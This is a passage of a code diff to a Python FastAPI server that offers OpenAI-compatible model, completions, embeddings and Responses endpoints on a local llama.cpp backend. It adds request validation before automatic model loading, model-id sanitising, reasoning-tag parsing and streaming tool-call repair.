@@ -5999,13 +7871,51 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge
     """
     OpenAI-compatible single-model retrieval endpoint (``GET /v1/models/{id}``).
 
-    Returns the bare model object when ``model_id`` matches a loaded local
-    model, or 404 model_not_found otherwise. Defined after the LIST route so
-    it does not shadow it; ``{model_id:path}`` keeps ids with slashes intact.
+    Returns the bare model object when ``model_id`` matches a known model
+    (loaded or locally available), or 404 model_not_found otherwise. Defined
+    after the LIST route so it does not shadow it; ``{model_id:path}`` keeps ids
+    with slashes intact.
     """
-    for model in _openai_model_objects():
-        if model["id"] == model_id:
+    from core.inference.model_ids import model_id_matches
+
+    # Loaded models resolve without a catalog scan (the common case); only build
+    # the full catalog -- which may hit the filesystem -- for unloaded ids. Match
+    # case-insensitively, like the catalog loop below and the resolver's index.
+    _loaded = _openai_model_objects()
+    for entry in _loaded:
+        eid = entry["id"]
+        if isinstance(eid, str) and eid.lower() == model_id.lower():
+            return {**entry, "loaded": True}
+
+    objects = await _openai_catalog_objects()
+    for model in objects:
+        # Case-insensitive to match the resolver, which lowercases its index.
+        mid = model.get("id")
+        if isinstance(mid, str) and mid.lower() == model_id.lower():
             return model
+    # Backward compatibility: a client may still send the legacy raw identifier
+    # (e.g. an absolute .gguf path cached from an older /v1/models). Map it to the
+    # loaded model's object so it keeps working, without ever echoing the path back.
+    # Key each raw id to the SAME public id its /v1/models entry uses: an
+    # auto-switch load advertises a repo id while its identifier is the snapshot
+    # path, so public_model_id(path) would miss the advertised entry and 404 a
+    # model that is in fact loaded.
+    llama_backend = get_llama_cpp_backend()
+    backend = get_inference_backend()
+    raw_to_public: list[tuple[str, Optional[str]]] = []
+    if llama_backend.is_loaded and llama_backend.model_identifier:
+        raw_to_public.append(
+            (llama_backend.model_identifier, _llama_public_model_id(llama_backend))
+        )
+    if backend.active_model_name:
+        raw_to_public.append(
+            (backend.active_model_name, public_model_id(backend.active_model_name))
+        )
+    for raw, clean in raw_to_public:
+        if model_id_matches(model_id, raw):
+            for entry in _loaded:
+                if entry["id"] == clean:
+                    return {**entry, "loaded": True}
     raise HTTPException(
         status_code = 404,
         detail = openai_error_body(
@@ -6030,6 +7940,16 @@ def _flatten_monitor_prompt(value) -> str:
     return str(value)
 
 
+def _completions_prompt_present(body: dict) -> bool:
+    """Whether a completions body carries a usable ``prompt`` (non-empty)."""
+    prompt = body.get("prompt")
+    if isinstance(prompt, str):
+        return prompt != ""
+    if isinstance(prompt, (list, tuple)):
+        return len(prompt) > 0
+    return prompt is not None
+
+
 @router.post("/completions")
 async def openai_completions(request: Request, current_subject: str = Depends(get_current_subject)):
     """
@@ -6039,13 +7959,39 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
     when a GGUF model is loaded.
     """
     llama_backend = get_llama_cpp_backend()
+
+    # Reject a request with no prompt before any automatic load so an invalid
+    # request never swaps or reloads the resident model (as chat/embeddings already
+    # validate before switching). Gate on every automatic-load trigger.
+    if _automatic_model_load_may_run():
+        try:
+            _pre = await request.json()
+        except (json.JSONDecodeError, ValueError):
+            _pre = None
+        if isinstance(_pre, dict):
+            _pre_prompt = _pre.get("prompt")
+            if _pre_prompt is not None and not isinstance(_pre_prompt, (str, list, tuple)):
+                # An object/number prompt is a deterministic client error (only a
+                # string or array is valid); reject it before the switch so a bad
+                # shape can't load a GGUF only to be rejected by llama-server after.
+                raise HTTPException(status_code = 400, detail = "'prompt' must be a string or array.")
+            if not _completions_prompt_present(_pre):
+                raise HTTPException(status_code = 400, detail = "'prompt' is required for completions.")
+
+    # Opt-in: load the requested local GGUF before the loaded-state check.
+    body = await _auto_switch_from_request_body(request, current_subject)
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
             detail = "No GGUF model loaded. Load a GGUF model first.",
         )
+    if not isinstance(body, dict):
+        # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
+        # a valid non-dict body such as a list is a clean 400 rather than a 500.
+        body = await request.json()
+        if not isinstance(body, dict):
+            raise HTTPException(status_code = 400, detail = "Request body must be a JSON object")
 
-    body = await request.json()
     if body.get("max_tokens") is None:
         body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR
     target_url = f"{llama_backend.base_url}/v1/completions"
@@ -6054,7 +8000,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
     monitor_id = api_monitor.start(
         endpoint = request.url.path,
         method = request.method,
-        model = str(body.get("model") or llama_backend.model_identifier or "default"),
+        model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"),
         prompt = prompt_text,
         context_length = llama_backend.context_length,
         subject = current_subject,
@@ -6074,7 +8020,10 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
             # honor stream_options.include_usage per event, while keeping SSE
             # framing and token bytes intact.
             _include_usage = bool((body.get("stream_options") or {}).get("include_usage"))
-            client = httpx.AsyncClient(timeout = _llama_streaming_generation_timeout())
+            client = httpx.AsyncClient(
+                timeout = _llama_streaming_generation_timeout(),
+                trust_env = False,
+            )
             resp = None
             bytes_iter = None
             disconnect_event = threading.Event()
@@ -6198,6 +8147,16 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
 # =====================================================================
 
 
+def _embeddings_input_present(body: dict) -> bool:
+    """Whether an embeddings body carries a usable ``input`` (non-empty)."""
+    inp = body.get("input")
+    if isinstance(inp, str):
+        return inp != ""
+    if isinstance(inp, (list, tuple)):
+        return len(inp) > 0
+    return inp is not None
+
+
 @router.post("/embeddings")
 async def openai_embeddings(request: Request, current_subject: str = Depends(get_current_subject)):
     """
@@ -6209,13 +8168,42 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get
     error (expected).
     """
     llama_backend = get_llama_cpp_backend()
+    # Reject a request with no input before any automatic load so an invalid
+    # request never swaps or reloads the resident model (as chat/responses/messages
+    # already validate before switching). Gate on every automatic-load trigger,
+    # not just auto-switch, since a standalone idle TTL can also reload here.
+    if _automatic_model_load_may_run():
+        try:
+            _pre = await request.json()
+        except (json.JSONDecodeError, ValueError):
+            _pre = None
+        if isinstance(_pre, dict):
+            _pre_input = _pre.get("input")
+            if _pre_input is not None and not isinstance(_pre_input, (str, list, tuple)):
+                # An object/number input is a deterministic client error (only a
+                # string or array is valid); reject it before the switch so a bad
+                # shape can't load a GGUF only to be rejected by llama-server after.
+                raise HTTPException(status_code = 400, detail = "'input' must be a string or array.")
+            if not _embeddings_input_present(_pre):
+                raise HTTPException(status_code = 400, detail = "'input' is required for embeddings.")
+    # Embeddings is a model-bearing inference path too, so honor auto-switch. Unlike
+    # vision (cheaply pre-checked via a companion mmproj), GGUF pooling capability has
+    # no reliable pre-load probe -- is_embedding_model keys on a sentence-transformers
+    # modules.json a bare .gguf never has -- so embeddings auto-switch is best-effort:
+    # a non-embedding target switches, then llama-server returns a no-pooling error.
+    body = await _auto_switch_from_request_body(request, current_subject)
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
             detail = "No GGUF model loaded. Load a GGUF model first.",
         )
+    if not isinstance(body, dict):
+        # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
+        # a valid non-dict body such as a list is a clean 400 rather than a 500.
+        body = await request.json()
+        if not isinstance(body, dict):
+            raise HTTPException(status_code = 400, detail = "Request body must be a JSON object")
 
-    body = await request.json()
     target_url = f"{llama_backend.base_url}/v1/embeddings"
     prompt_text = _flatten_monitor_prompt(body.get("input", ""))
     monitor_id = None
@@ -6223,7 +8211,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get
         monitor_id = api_monitor.start(
             endpoint = request.url.path,
             method = request.method,
-            model = str(body.get("model") or llama_backend.model_identifier or "default"),
+            model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"),
             prompt = prompt_text,
             context_length = llama_backend.context_length,
             subject = current_subject,
@@ -6441,10 +8429,18 @@ def _responses_marker_holdback(text: str, markers: tuple[str, ...]) -> int:
 class _ResponsesReasoningExtractor:
     """Split local <think> markup into Responses reasoning and visible text."""
 
-    def __init__(self, *, parse_think_markers: bool = False) -> None:
+    def __init__(
+        self,
+        *,
+        parse_think_markers: bool = False,
+        reasoning_prefilled: bool = False,
+    ) -> None:
         self._buffer = ""
-        self._in_reasoning = False
-        self._parse_think_markers = parse_think_markers
+        # reasoning_prefilled: the template inserts an unclosed <think>, so output begins inside
+        # the block; start in reasoning until the first close tag. Existing callers pass False.
+        self._in_reasoning = reasoning_prefilled
+        # Splitting requires marker parsing; a prefilled open implies it.
+        self._parse_think_markers = parse_think_markers or reasoning_prefilled
 
     def feed(
         self,
@@ -6467,14 +8463,21 @@ class _ResponsesReasoningExtractor:
             if self._in_reasoning:
                 close_idx = self._buffer.find(_RESPONSES_THINK_CLOSE)
                 if close_idx != -1:
-                    reasoning_parts.append(self._buffer[:close_idx])
+                    reasoning_parts.append(
+                        self._buffer[:close_idx].replace(_RESPONSES_THINK_OPEN, "")
+                    )
                     self._buffer = self._buffer[close_idx + len(_RESPONSES_THINK_CLOSE) :]
                     self._in_reasoning = False
                     continue
-                keep = _responses_marker_holdback(self._buffer, (_RESPONSES_THINK_CLOSE,))
+                # Hold back a trailing partial of either marker: the close (clean split across chunks)
+                # and a stray open (a re-emitted <think> is suppressed, not leaked).
+                keep = _responses_marker_holdback(
+                    self._buffer, (_RESPONSES_THINK_CLOSE, _RESPONSES_THINK_OPEN)
+                )
                 if keep == len(self._buffer):
                     break
-                reasoning_parts.append(self._buffer[:-keep] if keep else self._buffer)
+                emit = self._buffer[:-keep] if keep else self._buffer
+                reasoning_parts.append(emit.replace(_RESPONSES_THINK_OPEN, ""))
                 self._buffer = self._buffer[-keep:] if keep else ""
                 break
 
@@ -6511,7 +8514,7 @@ class _ResponsesReasoningExtractor:
             return "", remaining
         if self._in_reasoning:
             self._in_reasoning = False
-            return remaining, ""
+            return remaining.replace(_RESPONSES_THINK_OPEN, ""), ""
         return "", remaining.replace(_RESPONSES_THINK_CLOSE, "")
 
 
@@ -6520,8 +8523,12 @@ def _extract_responses_reasoning(
     reasoning_content: Any = None,
     *,
     parse_think_markers: bool = False,
+    reasoning_prefilled: bool = False,
 ) -> tuple[str, str]:
-    extractor = _ResponsesReasoningExtractor(parse_think_markers = parse_think_markers)
+    extractor = _ResponsesReasoningExtractor(
+        parse_think_markers = parse_think_markers,
+        reasoning_prefilled = reasoning_prefilled,
+    )
     reasoning, visible = extractor.feed(text, reasoning_content)
     final_reasoning, final_visible = extractor.finish()
     return reasoning + final_reasoning, visible + final_visible
@@ -6533,8 +8540,9 @@ def _responses_should_parse_think_markers(
     if llama_backend is not None and getattr(llama_backend, "is_loaded", False):
         if getattr(llama_backend, "reasoning_always_on", False):
             return True
-        if not getattr(llama_backend, "supports_reasoning", False):
-            return False
+        if getattr(llama_backend, "supports_reasoning", False):
+            return True
+        return False
     if chat_req.enable_thinking is True:
         return True
     return chat_req.enable_thinking is None and chat_req.reasoning_effort not in (None, "none")
@@ -6687,10 +8695,13 @@ def _build_chat_request(
     ``/v1/chat/completions`` client-side pass-through picks them up unchanged.
     """
     chat_kwargs: dict = dict(
-        model = payload.model,
         messages = messages,
         stream = stream,
     )
+    # Only forward an explicitly set model so an omitted Responses model stays
+    # reload-only when openai_chat_completions re-checks on the non-streaming path.
+    if "model" in payload.model_fields_set:
+        chat_kwargs["model"] = payload.model
     if payload.temperature is not None:
         chat_kwargs["temperature"] = payload.temperature
     if payload.top_p is not None:
@@ -6723,6 +8734,13 @@ def _build_chat_request(
         if isinstance(_tpl_kw, dict) and "enable_thinking" in _tpl_kw:
             chat_kwargs["enable_thinking"] = bool(_tpl_kw["enable_thinking"])
             explicit_enable_thinking = True
+        # auto_heal_tool_calls / nudge_tool_calls are not typed on
+        # ResponsesRequest; lift them from the extra-body so passthrough
+        # healing (and the opt-in nudge) honor them on both paths.
+        if isinstance(_extra.get("auto_heal_tool_calls"), bool):
+            chat_kwargs["auto_heal_tool_calls"] = _extra["auto_heal_tool_calls"]
+        if isinstance(_extra.get("nudge_tool_calls"), bool):
+            chat_kwargs["nudge_tool_calls"] = _extra["nudge_tool_calls"]
 
     if isinstance(payload.reasoning, dict):
         effort = payload.reasoning.get("effort")
@@ -6830,8 +8848,6 @@ async def _responses_non_streaming(
         # the model produced content, so clients expecting a pure tool-call turn
         # (finish_reason="tool_calls") don't see a spurious empty message item.
         output_items: list[dict] = []
-        if reasoning_text and not text and not tool_calls:
-            text = reasoning_text
         if reasoning_text:
             output_items.append(_responses_reasoning_output_item(reasoning_text))
         if text:
@@ -6943,6 +8959,14 @@ async def _responses_stream(
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
 
     async def event_generator():
+        # Clean public id for every response envelope. Prefer the loaded model's
+        # id so the stream agrees with /v1/models, chat/completions and the
+        # non-streaming twin; fall back to a sanitized payload.model (a legacy
+        # raw .gguf path is stripped, never echoed back). Use the advertised-id
+        # helper, not the raw identifier: after an auto-switch to a cached HF GGUF
+        # the identifier is the snapshot path while the repo id lives in
+        # _openai_advertised_id, so the raw form would stream a snapshot basename.
+        _clean_model = _llama_public_model_id(llama_backend, payload.model) or payload.model
         full_text = ""
         full_reasoning = ""
         input_tokens = 0
@@ -6951,16 +8975,112 @@ async def _responses_stream(
             parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend)
         )
         reasoning_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False}
-        message_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False}
+        message_state: dict[str, Any] = {
+            "output_index": None,
+            "item_id": None,
+            "opened": False,
+            "text": "",
+        }
+        # Message items already closed mid-stream (a healed tool call splits
+        # the assistant text into separate message items, as native Responses
+        # streams do). Kept for the final response.completed snapshot.
+        closed_message_states: list[dict] = []
         # Per-tool-call state keyed by Chat Completions `tool_calls[].index`,
         # stable across chunks for the same call. Values:
         #   {output_index, item_id, call_id, name, arguments, opened}
         tool_call_state: dict[int, dict] = {}
         next_output_index = 0
+        # Text-form tool calls promoted back to structured calls (declared
+        # client tools only); dormant once grammar-mode structured deltas appear.
+        _allowed_tools = heal_gate(
+            getattr(chat_req, "auto_heal_tool_calls", None),
+            body.get("tools"),
+            body.get("tool_choice"),
+        )
+        healer = StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None
+        healed_tc_index = 0
+
+        def _healed_tc(call: dict):
+            # Chat-delta shape for a healed call. Indexes live in a disjoint
+            # range so a healed call can never merge into a structured call's
+            # state slot; parallel_tool_calls=false caps healed calls too (the
+            # upstream cap ran before injection).
+            nonlocal healed_tc_index
+            if payload.parallel_tool_calls is False and healed_tc_index >= 1:
+                return None
+            tc = {
+                "index": 1_000_000 + healed_tc_index,
+                "id": call["id"],
+                "type": "function",
+                "function": call["function"],
+            }
+            healed_tc_index += 1
+            return tc
 
         def _sse(event_name: str, payload: dict) -> str:
             return f"event: {event_name}\ndata: {json.dumps(payload)}\n\n"
 
+        def _tool_call_delta_events(tc: dict) -> list:
+            # One Chat Completions tool_calls delta -> Responses SSE events,
+            # allocating/merging per-call state (shared by the structured loop
+            # and the healer's promoted calls).
+            events = []
+            idx = tc.get("index", 0)
+            st = tool_call_state.get(idx)
+            fn = tc.get("function") or {}
+            if st is None:
+                # First chunk for this tool call -- allocate an
+                # output_index and emit output_item.added.
+                st = {
+                    "output_index": _claim_output_index(),
+                    "item_id": f"fc_{uuid.uuid4().hex[:12]}",
+                    "call_id": tc.get("id") or "",
+                    "name": fn.get("name") or "",
+                    "arguments": "",
+                    "opened": False,
+                }
+                tool_call_state[idx] = st
+            else:
+                # Later chunks sometimes carry id/name only once; merge
+                # when present.
+                if tc.get("id") and not st["call_id"]:
+                    st["call_id"] = tc["id"]
+                if fn.get("name") and not st["name"]:
+                    st["name"] = fn["name"]
+
+            if not st["opened"] and st["call_id"] and st["name"]:
+                item_added = {
+                    "type": "response.output_item.added",
+                    "output_index": st["output_index"],
+                    "item": {
+                        "type": "function_call",
+                        "id": st["item_id"],
+                        "status": "in_progress",
+                        "call_id": st["call_id"],
+                        "name": st["name"],
+                        "arguments": "",
+                    },
+                }
+                events.append(_sse("response.output_item.added", item_added))
+                st["opened"] = True
+
+            arg_delta = fn.get("arguments") or ""
+            if arg_delta and st["opened"]:
+                st["arguments"] += arg_delta
+                args_delta_event = {
+                    "type": "response.function_call_arguments.delta",
+                    "item_id": st["item_id"],
+                    "output_index": st["output_index"],
+                    "delta": arg_delta,
+                }
+                events.append(_sse("response.function_call_arguments.delta", args_delta_event))
+            elif arg_delta:
+                # Buffer args until we can open the item (some models
+                # send id/name in the same chunk as the first arg delta;
+                # if not, stash).
+                st["arguments"] += arg_delta
+            return events
+
         def _claim_output_index() -> int:
             nonlocal next_output_index
             output_index = next_output_index
@@ -7045,6 +9165,98 @@ async def _responses_stream(
                 ),
             ]
 
+        def _close_message_item() -> list[str]:
+            """Close the open message item so later text opens a fresh one.
+
+            Emits the same done-event triplet the end-of-stream close loop
+            would, records the item for the final snapshot, and resets the
+            state in place. No-op when no message item is open.
+            """
+            if not message_state["opened"]:
+                return []
+            text = message_state["text"]
+            events = [
+                _sse(
+                    "response.output_text.done",
+                    {
+                        "type": "response.output_text.done",
+                        "item_id": message_state["item_id"],
+                        "output_index": message_state["output_index"],
+                        "content_index": 0,
+                        "text": text,
+                    },
+                ),
+                _sse(
+                    "response.content_part.done",
+                    {
+                        "type": "response.content_part.done",
+                        "item_id": message_state["item_id"],
+                        "output_index": message_state["output_index"],
+                        "content_index": 0,
+                        "part": {"type": "output_text", "text": text, "annotations": []},
+                    },
+                ),
+                _sse(
+                    "response.output_item.done",
+                    {
+                        "type": "response.output_item.done",
+                        "output_index": message_state["output_index"],
+                        "item": {
+                            "type": "message",
+                            "id": message_state["item_id"],
+                            "status": "completed",
+                            "role": "assistant",
+                            "content": [{"type": "output_text", "text": text, "annotations": []}],
+                        },
+                    },
+                ),
+            ]
+            closed_message_states.append(dict(message_state))
+            message_state.update(
+                {"output_index": None, "item_id": None, "opened": False, "text": ""}
+            )
+            return events
+
+        def _healed_event_sse(events) -> list[str]:
+            """Serialize healer events preserving their order.
+
+            Text around a healed call must keep its position relative to the
+            function_call item (output indexes are claimed in emission order),
+            so never split an event list into all-text-then-all-calls. A healed
+            call also CLOSES any open message item, so trailing text opens a
+            fresh message with a later output index, exactly like a native
+            Responses stream that interleaves messages and calls.
+            """
+            nonlocal full_text
+            out: list[str] = []
+            for kind, value in events:
+                if kind == "text":
+                    if not value:
+                        continue
+                    out.extend(_ensure_message_open())
+                    full_text += value
+                    message_state["text"] += value
+                    api_monitor.append_reply(monitor_id, value)
+                    out.append(
+                        _sse(
+                            "response.output_text.delta",
+                            {
+                                "type": "response.output_text.delta",
+                                "item_id": message_state["item_id"],
+                                "output_index": message_state["output_index"],
+                                "content_index": 0,
+                                "delta": value,
+                            },
+                        )
+                    )
+                else:
+                    tc = _healed_tc(value)
+                    if tc is None:
+                        continue
+                    out.extend(_close_message_item())
+                    out.extend(_tool_call_delta_events(tc))
+            return out
+
         def _snapshot_output() -> list[dict]:
             """Snapshot of all completed output items for response.completed."""
             indexed_items: list[tuple[int, dict]] = []
@@ -7061,19 +9273,23 @@ async def _responses_stream(
                         },
                     )
                 )
-            if message_state["opened"]:
+            # Closed copies keep opened=True (snapshotted before reset); the
+            # live state contributes only when a message is currently open.
+            for msg_st in [*closed_message_states, message_state]:
+                if not msg_st["opened"]:
+                    continue
                 indexed_items.append(
                     (
-                        message_state["output_index"],
+                        msg_st["output_index"],
                         {
                             "type": "message",
-                            "id": message_state["item_id"],
+                            "id": msg_st["item_id"],
                             "status": "completed",
                             "role": "assistant",
                             "content": [
                                 {
                                     "type": "output_text",
-                                    "text": full_text,
+                                    "text": msg_st["text"],
                                     "annotations": [],
                                 }
                             ],
@@ -7104,7 +9320,7 @@ async def _responses_stream(
                     "object": "response",
                     "created_at": created_at,
                     "status": "failed",
-                    "model": payload.model,
+                    "model": _clean_model,
                     "output": _snapshot_output(),
                     "usage": {
                         "input_tokens": input_tokens,
@@ -7128,7 +9344,7 @@ async def _responses_stream(
                     "object": "response",
                     "created_at": created_at,
                     "status": "in_progress",
-                    "model": payload.model,
+                    "model": _clean_model,
                     "output": [],
                     "usage": {"input_tokens": 0, "output_tokens": 0, "total_tokens": 0},
                 },
@@ -7141,11 +9357,14 @@ async def _responses_stream(
         # `async with`, explicit aclose of lines_iter BEFORE resp / client so
         # the innermost httpcore byte stream is finalised in this task (not via
         # the asyncgen GC in a sibling task).
-        client = httpx.AsyncClient(timeout = _llama_streaming_generation_timeout())
+        client = httpx.AsyncClient(
+            timeout = _llama_streaming_generation_timeout(),
+            trust_env = False,
+        )
         resp = None
         lines_iter = None
-        disconnect_event = threading.Event()
         disconnect_watcher = None
+        disconnect_event = threading.Event()
         try:
             req = client.build_request(
                 "POST", target_url, json = body, headers = {"Connection": "close"}
@@ -7168,7 +9387,7 @@ async def _responses_stream(
                             "object": "response",
                             "created_at": created_at,
                             "status": "failed",
-                            "model": payload.model,
+                            "model": _clean_model,
                             "output": [],
                             "error": {"code": 502, "message": _friendly_error(e)},
                         },
@@ -7194,21 +9413,21 @@ async def _responses_stream(
                             "object": "response",
                             "created_at": created_at,
                             "status": "failed",
-                            "model": payload.model,
+                            "model": _clean_model,
                             "output": [],
                             "error": {
                                 "code": resp.status_code,
-                                "message": f"llama-server error: {err_text[:500]}",
+                                "message": _friendly_upstream_error(err_text[:500]),
                             },
                         },
                     },
                 )
                 return
 
+            lines_iter = resp.aiter_lines()
             disconnect_watcher = asyncio.create_task(
                 _await_disconnect_then_close(request, resp, disconnect_event)
             )
-            lines_iter = resp.aiter_lines()
             async for raw_line in _aiter_llama_stream_items(
                 lines_iter,
                 cancel_event = disconnect_event,
@@ -7254,10 +9473,30 @@ async def _responses_stream(
                             "delta": reasoning_delta,
                         },
                     )
+                # Heal text-form tool calls in the visible stream (never in
+                # reasoning text): promoted calls join the structured tc loop
+                # below through the same state machinery, and healer events are
+                # emitted IN ORDER so text after a healed call never jumps ahead
+                # of the function_call item. Once a structured delta arrives,
+                # grammar mode worked and the healer goes dormant.
+                if healer is not None and not healer.dormant:
+                    healed_events = []
+                    if delta.get("tool_calls"):
+                        # Held text preceded the structured call; the call's own
+                        # deltas follow in the structured loop below.
+                        healed_events = healer.structured_tool_call_seen()
+                        if visible_delta:
+                            healed_events.append(("text", visible_delta))
+                    elif visible_delta:
+                        healed_events = healer.feed(visible_delta)
+                    visible_delta = ""
+                    for event in _healed_event_sse(healed_events):
+                        yield event
                 if visible_delta:
                     for event in _ensure_message_open():
                         yield event
                     full_text += visible_delta
+                    message_state["text"] += visible_delta
                     api_monitor.append_reply(monitor_id, visible_delta)
                     yield _sse(
                         "response.output_text.delta",
@@ -7271,63 +9510,23 @@ async def _responses_stream(
                     )
 
                 for tc in delta.get("tool_calls") or []:
-                    idx = tc.get("index", 0)
-                    st = tool_call_state.get(idx)
-                    fn = tc.get("function") or {}
-                    if st is None:
-                        # First chunk for this tool call -- allocate an
-                        # output_index and emit output_item.added.
-                        st = {
-                            "output_index": _claim_output_index(),
-                            "item_id": f"fc_{uuid.uuid4().hex[:12]}",
-                            "call_id": tc.get("id") or "",
-                            "name": fn.get("name") or "",
-                            "arguments": "",
-                            "opened": False,
-                        }
-                        tool_call_state[idx] = st
-                    else:
-                        # Later chunks sometimes carry id/name only once; merge
-                        # when present.
-                        if tc.get("id") and not st["call_id"]:
-                            st["call_id"] = tc["id"]
-                        if fn.get("name") and not st["name"]:
-                            st["name"] = fn["name"]
-
-                    if not st["opened"] and st["call_id"] and st["name"]:
-                        item_added = {
-                            "type": "response.output_item.added",
-                            "output_index": st["output_index"],
-                            "item": {
-                                "type": "function_call",
-                                "id": st["item_id"],
-                                "status": "in_progress",
-                                "call_id": st["call_id"],
-                                "name": st["name"],
-                                "arguments": "",
-                            },
-                        }
-                        yield _sse("response.output_item.added", item_added)
-                        st["opened"] = True
-
-                    arg_delta = fn.get("arguments") or ""
-                    if arg_delta and st["opened"]:
-                        st["arguments"] += arg_delta
-                        args_delta_event = {
-                            "type": "response.function_call_arguments.delta",
-                            "item_id": st["item_id"],
-                            "output_index": st["output_index"],
-                            "delta": arg_delta,
-                        }
-                        yield _sse("response.function_call_arguments.delta", args_delta_event)
-                    elif arg_delta:
-                        # Buffer args until we can open the item (some models
-                        # send id/name in the same chunk as the first arg delta;
-                        # if not, stash).
-                        st["arguments"] += arg_delta
+                    if (
+                        payload.parallel_tool_calls is False
+                        and healed_tc_index >= 1
+                        and tc.get("index", 0) not in tool_call_state
+                    ):
+                        # A healed call already consumed the single allowed slot;
+                        # _drop_parallel_tool_call_deltas only sees native indexes,
+                        # so a native index-0 call would still open a second
+                        # function_call item. Skip it (and its later argument
+                        # deltas, which never allocate a state either).
+                        continue
+                    for event in _tool_call_delta_events(tc):
+                        yield event
 
                 _apply_usage(chunk_data.get("usage"))
         except asyncio.CancelledError:
+            disconnect_event.set()
             api_monitor.finish(monitor_id, "cancelled")
             raise
         except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
@@ -7379,10 +9578,19 @@ async def _responses_stream(
                     "delta": final_reasoning,
                 },
             )
+        # Last-chance heal of any held residue (e.g. a tool block the model
+        # never closed) before the trailing visible text is flushed; events
+        # keep healer order so trailing text stays behind a healed call.
+        if healer is not None:
+            events = (healer.feed(final_visible) if final_visible else []) + healer.finalize()
+            final_visible = ""
+            for event in _healed_event_sse(events):
+                yield event
         if final_visible:
             for event in _ensure_message_open():
                 yield event
             full_text += final_visible
+            message_state["text"] += final_visible
             api_monitor.append_reply(monitor_id, final_visible)
             yield _sse(
                 "response.output_text.delta",
@@ -7394,21 +9602,6 @@ async def _responses_stream(
                     "delta": final_visible,
                 },
             )
-        if full_reasoning and not full_text and not tool_call_state:
-            for event in _ensure_message_open():
-                yield event
-            full_text = full_reasoning
-            api_monitor.set_reply(monitor_id, full_text)
-            yield _sse(
-                "response.output_text.delta",
-                {
-                    "type": "response.output_text.delta",
-                    "item_id": message_state["item_id"],
-                    "output_index": message_state["output_index"],
-                    "content_index": 0,
-                    "delta": full_text,
-                },
-            )
 
         close_items: list[tuple[int, str, dict[str, Any]]] = []
         if reasoning_state["opened"]:
@@ -7456,6 +9649,10 @@ async def _responses_stream(
                 continue
 
             if kind == "message":
+                # Per-item text: message items closed mid-stream (healed-call
+                # rotation) already emitted their done events, so this state
+                # carries only its own text, not the whole stream's.
+                _msg_text = st["text"]
                 yield _sse(
                     "response.output_text.done",
                     {
@@ -7463,7 +9660,7 @@ async def _responses_stream(
                         "item_id": st["item_id"],
                         "output_index": st["output_index"],
                         "content_index": 0,
-                        "text": full_text,
+                        "text": _msg_text,
                     },
                 )
                 yield _sse(
@@ -7473,7 +9670,7 @@ async def _responses_stream(
                         "item_id": st["item_id"],
                         "output_index": st["output_index"],
                         "content_index": 0,
-                        "part": {"type": "output_text", "text": full_text, "annotations": []},
+                        "part": {"type": "output_text", "text": _msg_text, "annotations": []},
                     },
                 )
                 yield _sse(
@@ -7487,7 +9684,7 @@ async def _responses_stream(
                             "status": "completed",
                             "role": "assistant",
                             "content": [
-                                {"type": "output_text", "text": full_text, "annotations": []}
+                                {"type": "output_text", "text": _msg_text, "annotations": []}
                             ],
                         },
                     },
@@ -7557,7 +9754,7 @@ async def _responses_stream(
                 "object": "response",
                 "created_at": created_at,
                 "status": "completed",
-                "model": payload.model,
+                "model": _clean_model,
                 "output": _snapshot_output(),
                 "usage": {
                     "input_tokens": input_tokens,
@@ -7569,7 +9766,15 @@ async def _responses_stream(
         api_monitor.finish(monitor_id)
         yield _sse("response.completed", completed_response)
 
-    return _sse_streaming_response(event_generator())
+    return _SameTaskStreamingResponse(
+        event_generator(),
+        media_type = "text/event-stream",
+        headers = {
+            "Cache-Control": "no-cache",
+            "Connection": "close",
+            "X-Accel-Buffering": "no",
+        },
+    )
 
 
 @router.post("/responses")
@@ -7588,6 +9793,56 @@ async def openai_responses(
     messages = _normalise_responses_input(payload)
     if not messages:
         raise HTTPException(status_code = 400, detail = "No input provided.")
+    # System/developer-only input normalises to a non-empty list, so reject it
+    # before the switch (mirror chat) or an invalid request evicts the resident
+    # model only for the chat handler to 400 it as having no non-system message.
+    if not any(m.role not in ("system", "developer") for m in messages):
+        raise HTTPException(status_code = 400, detail = "At least one non-system message is required.")
+    # Reject a malformed function tool before any model load, mirroring the
+    # /v1/chat/completions check, so an invalid request never switches the model.
+    # Built-in tools (web_search, mcp, ...) carry no name and are dropped later.
+    for _tool in payload.tools or []:
+        if not isinstance(_tool, dict) or _tool.get("type") != "function":
+            continue
+        _name = _tool.get("name")
+        if not isinstance(_name, str) or not _name.strip():
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    "Invalid 'tools': each function tool must have a 'name'.",
+                    status = 400,
+                    code = "invalid_value",
+                    param = "tools",
+                ),
+            )
+    # Reject a forcing-function tool_choice with no name before the switch (mirror
+    # chat), so a malformed request can't evict the model. Responses forces with
+    # {"type": "function", "name": "X"}; the streaming path would otherwise forward
+    # the bad choice and the non-streaming path only 400s after the swap.
+    _tc = payload.tool_choice
+    if isinstance(_tc, dict) and _tc.get("type") == "function":
+        _tc_name = _tc.get("name")
+        if not isinstance(_tc_name, str) or not _tc_name.strip():
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    "Invalid 'tool_choice': the forced function must have a 'name'.",
+                    status = 400,
+                    code = "invalid_value",
+                    param = "tool_choice",
+                ),
+            )
+    # After input validation so a 400 never triggers a load. Switches the
+    # streaming path; non-streaming re-checks via the idempotent chat handler.
+    # require_vision rejects a swap to a text-only target before it runs, so an
+    # image request can't evict the resident vision model only to 400 afterwards
